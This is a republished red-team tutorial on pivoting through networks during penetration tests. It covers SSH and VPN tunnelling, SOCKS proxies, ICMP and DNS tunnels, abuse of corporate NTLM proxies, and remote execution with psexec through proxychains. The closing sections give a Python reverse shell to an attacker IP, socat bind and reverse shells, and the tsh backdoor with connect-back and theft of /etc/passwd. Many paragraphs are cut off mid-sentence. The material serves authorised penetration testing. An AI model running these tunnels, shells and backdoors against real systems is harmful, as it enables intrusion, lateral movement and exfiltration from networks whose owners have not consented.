A Red Teamer’s guide to pivoting

Via artkond.com

Penetration testers often traverse logical network boundaries in order to gain access to client’s critical infrastracture. Common scenarios include developing the attack into the internal network a

Target with public IP

A prevalent scenario. Let’s say you find an RCE bug in a web-app accessible from the internet. You upload a shell and want to develop your attack into the internal network. Note that in this spe

SSH port forwarding

Managed to find credentials to the SSH-service running on the host? Great! Connect to the host as follows:

ssh -D 1080

This will spawn a socks server on the attacker’s side (ssh-client side). Welcome to the intranet ;) It is also possible to forward one specific port to a specific host. Let’s say you need to access

ssh -L 445:192.168.1.1:445

This way a port 445 will be opened on the attacker’s side. Note, that to bind privileged ports (such as 445) you will need root privileges on your machine.

VPN over SSH

Since openssh release 4.3 it is possible to tunnel layer 3 network traffic via an established ssh channel. This has an advantage over a typical tcp tunnel because you are in control of ip traffic.
be present in your /etc/ssh/sshd_config file (server-side):

```
PermitRootLogin yes  PermitTunnel yes
```

The following command on the client will create a pair of tun devices on client and server:

ssh -w any:any

The flag -w accepts the number of tun device on each side separated with a colon. It can be set explicitly - -w 0:0 or you can use -w any:any syntax to take the next available tun device.

The tunnel between the tun devices is enabled but the interfaces are yet to be configured. Example of configuring client-side:

ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0

Server-side:

ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0

Enable ip forwarding and NAT on the server:

```
echo 1 > /proc/sys/net/ipv4/ip_forward  iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```

Now you can make the peer host 1.1.1.1 your default gateway or route a specific host/network through it:

route add -net 10.0.0.0/16 gw 1.1.1.1

In this example the server’s external network interface is eth0 and the newly created tun devices on both sides are tun0.

3proxy

Get it here - https://github.com/z3APA3A/3proxy/releases. This tools works for multiple platforms. There are pre-built binaries for Windows. As for Linux, you will need to build it yourself which i

This tool gets all of its options from config file. To run it:
3proxy.exe config_file

or if you are on a Linux system:

./3proxy config_file

To run 3proxy as a socks5 proxy at port 1080 put the following line in the config:

socks -p1080

Now it’s possible to tunnel most of your pentesting tools through this proxy to develop the attack in the internal network. This is just a basic setup which is not very secure. You can play with o

tcppm <localport> <targethost> <targetport>

NAT scenario

This is by far the most common situation I encounter during engagements. The traffic to the target is being forwared on per-port basis. This means that all ports bound other than those being in

SSH reverse port forwarding /w 3proxy

This pivoting setup looks something like this:

Run 3proxy service with the following config on the target server:

socks -p31337

Create a separate user on the receiving side (attacker’s machine).

adduser sshproxy

This user has to be low-privileged and shouldn’t have shell privileges. After all, you don’t want to get reverse pentested, do ya? :) Edit /etc/passwd and switch shell to /bin/false. It should look li

```
root:x:0:0:root:/root:/bin/bash  ...  sshproxy:x:1000:1001:,,,:/home/sshproxy:/bin/false  ...
```

Now connect to your server with the newly created user with -R flag. Linux system:

ssh -R 31337:127.0.0.1:31337

ssh _server -R 31337:127.0.0.1:31337

For windows you will need to upload plink.exe first. This is a console version of putty. To run it:

plink.exe _server -R 31337:127.0.0.1:31337

The -R flag allows you to bind port on the server side. All connections to this port will be relayed to a specified port on the client. This way we can run 3proxy socks service on the client side (c

Rpivot

This is my favorite method of traversing NAT connections. Rpivot is a reverse socks proxy tool that allows you to tunnel traffic via socks proxy. It connects back to your machine and binds a s

python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

Client side:

python client.py --server-ip <ip> --server-port 9999

As a result, a socks4 proxy service will be bound server side on port 1080.

Exfiltrating from the internal network

Here's a different case. Let's say your social engineering gig ended up placing you in the internal network. You have limited connectivity and ability to execute command on the compromised m

ICMP tunneling

If icmp traffic is allowed to external networks then most likely you can establish an icmp tunnel. The downside is that you will need root/administrator privileges on the target system becase of t

./hans -v -f -s 1.1.1.1 -p

The -v flag is for verbosity, the -f flag is to run in foreground and the -s flag's value is the server's ip on the newly created tun interface.

Client side:

./hans -f -c <server_ip> -p -v

After successful connection the client should be directly visible at 1.1.1.100:

```
# ping 1.1.1.100  PING 1.1.1.100 (1.1.1.100) 56(84) bytes of data.  64 bytes from 1.1.1.100: icmp_seq=1 ttl=65 time=42.9 ms
```

Now you can use this machine as gate into the internal network. Use this machine a default gateway or connect to a management interface (ssh/tsh/web shell).

DNS tunneling

If any WAN traffic is blocked but external host names are resolved then there's a possibility of tunneling traffic via DNS queries. You need a domain registered for this technique to work. This m

Iodine

If so happens that you got root access on the server you can try iodine. It works almost like hans icmp tunneling tool - it creates a pair of tun adapters and tunnels data between them as DNS c

iodined -f -c -P 1.1.1.1 tunneldomain.com

Client side:

iodine -f -P tunneldomain.com -r

Successful connection will yield direct client visibility at address 1.1.1.2. Note, that this tunneling technique is quite slow. Your best bet is to use a compressed ssh connection over the resultin

ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

Dnscat2

Dnscat2 establishes C&C channel over recursive DNS queries. This tool doesn't require root/administrator access (works both on windows and linux). It also supports port forwarding. Server sic

```
ruby ./dnscat2.rb tunneldomain.com
```

Client side:

./dnscat2 tunneldomain.com

After you receive a connection of server side, you can view the active sessions with windows command:

```
dnscat2> windows  0 :: main [active]    dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]    1 :: command session (debian)    2 :: sh (debian) [*]
```

To initiate port forwarding select a command session with session -i <num>:

```
dnscat2> session -i 1  New window created: 1  New window created: 1  history_size (session) => 1000  This is a command session!    That means you can enter a dnscat2 command such as
```

Use listen [lhost:]lport rhost:rport command to forward a port:

command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80

This will bind port 8080 on the attacker's machine and forward all connections to 10.0.0.20:80.

Corporate HTTP proxy as a way out

HTTP proxies organization place for their employees to access external web-application present a good exfiltration opportunity given you got the right credentials ;)

Rpivot

I already mentioned this tool in the NAT traversal section. It also supports connecting to the outside world via NTLM HTTP proxies. Server side command remains intact, use client-side comma

```
python client.py --server-ip <rpivot_server_ip> --server-port 9999\  --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM\  --username Alice --password [email protected]
```

Or if you have LM:NT hashes instead of password:

python client.py --server-ip <rpivot_server_ip>\ --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM\ --username Alice --hashes 9b9850751be2515c

Cntlm

Cntlm is the tool of choice for running any non-proxy aware programs over NTLM-proxy. Basically this tool authenticates against a proxy and binds a port locally that is forwarded to the external

Username Alice Password Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222:<attackers_machine>:443

Run it:

cntlm.exe -c config.conf

Or if you're on Linux:

./cntlm -c config.conf

Now, given you have ssh running on the remote host on port 443, you can launch ssh client (openssh/putty) and connect to local port 2222 to get access to the external machine.

OpenVpn over HTTP proxy

OpenVpn is huge so its configuration from the ground up is out of scope of this post. Just a quick mention - it also supports tunneling tcp connections over NTLM proxies. Add this line to your c

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Credential file should contain username and password on separate lines. And, yes, you'll need root.

Making use of SOCKS with proxychains

If your program doesn't use raw sockets (nmap syn-scan, for example) then most probably you can use proxychains to force your program though the socks proxy. Edit proxy server in /etc/pro

[ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.1 3128

All ready. Just prepend proxychains to you favorite pwn tool:

proxychains program_name

Using impacket's psexec.py with proxychains:

```
# proxychains psexec.py administrator@172.16.46.160 ipconfig
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies

Password:
|S-chain|-<>-127.0.0.1:3128-<><>-172.16.46.160:445-<><>-OK
[*] Requesting shares on 172.16.46.160.....
[-] share 'ADMIN$' is not writable.
[*] Found writable share C$
[*] Uploading file QkEgqVkx.exe
[*] Opening SVCManager on 172.16.46.160.....
[*] Creating service naYo on 172.16.46.160.....
[*] Starting service naYo.....
|S-chain|-<>-127.0.0.1:3128-<><>-172.16.46.160:445-<><>-OK
|S-chain|-<>-127.0.0.1:3128-<><>-172.16.46.160:445-<><>-OK
[!] Press help for extra shell commands
|S-chain|-<>-127.0.0.1:3128-<><>-172.16.46.160:445-<><>-OK

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::d0f6:fb90:2378:8130%15
   IPv4 Address. . . . . . . . . . . : 172.16.46.160
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.16.46.2
```

DNS with proxychains

Proxychains doesn't follow socks RFC when it comes to resolving hostnames. It intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. The things is, the DN

#!/bin/sh # This script is called by proxychains to resolve DNS names # DNS server used to resolve names DNS_SERVER=${PROXYRESOLV_DNS:-4.2.2.2} #change nameserver here

Beutifying your web shell

This section is not directly related to either pivoting or tunneling but instead describes a way of simplifying your work when developing attack into the internal network. Often, using a web-shell i bash/perl/python etc. There's a ton of info on doing so. Check out this reverse shell cheat sheet - http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet.

Python PTY shell

An upgrade from a regular semi-interactive shell. You can execute the following command in your existing shell:

python -c 'import pty; pty.spawn("/bin/bash")'

Or initiate reverse connection:

```
python -c 'import socket,subprocess,os;\  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\  s.connect(("<attackers_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);\  os.dup
```

Socat

Netcat on steroids! Seriously tho, go check this tool's manual man socat and you'd be amazed what you can do with this tool regarding tunneling. Among other things it can spawn a fully intera

Bind shell

Set listener:

```
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
```

Connect to the listener:

```
socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```

Reverse shell

Set listener:

```
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
```

Connect to attacker's machine:

```
socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```

Terminal size

By default the terminal size is quite small, as you may notice when launching top command or editing files with a text editor. You can easily change this, use stty -a command to get the size of

```
$ stty -a  speed 38400 baud; rows 57; columns 211; line = 0;
```

Apply desired size to your socat terminal:

```
$ stty rows 57 cols 211
```

Tsh

Tsh is a small ssh-like backdoor with full-pty terminal and with capability of file transfer. This tool has very small footprint and is easily built on most unix-like systems. Start with editing tsh.h fi

```
#ifndef _TSH_H  #define _TSH_H    char *secret = "never say never say die";    #define SERVER_PORT 22  short int server_port = SERVER_PORT;  /*  #define CONNECT_BACK_HOST  "l
```

Change secret, specify SERVER_PORT. Uncomment and edit CONNECT_BACK_HOST and CONNECT_BACK_DELAY directives if you want backconnect. Run make:

```
$ make linux_x64  make                                    \          LDFLAGS=" -Xlinker --no-as-needed -lutil"       \          DEFS=" -DLINUX"                          \          tsh tshd  mak
```

Now run ./tshd on server. It will start listening on the specified port. You can connect to it via executing the following command:

```
./tsh host_ip
```

If tsh was compiled with backconnect capability, the tshd daemon will try to connect back to the attacker's machine. To launch listener on attacker's side:

```
$ ./tsh cb  Waiting for the server to connect...
```

To transfer files with tsh:

```
./tsh host_ip get /etc/passwd .  ./tsh host_ip put /bin/netcat /tmp
```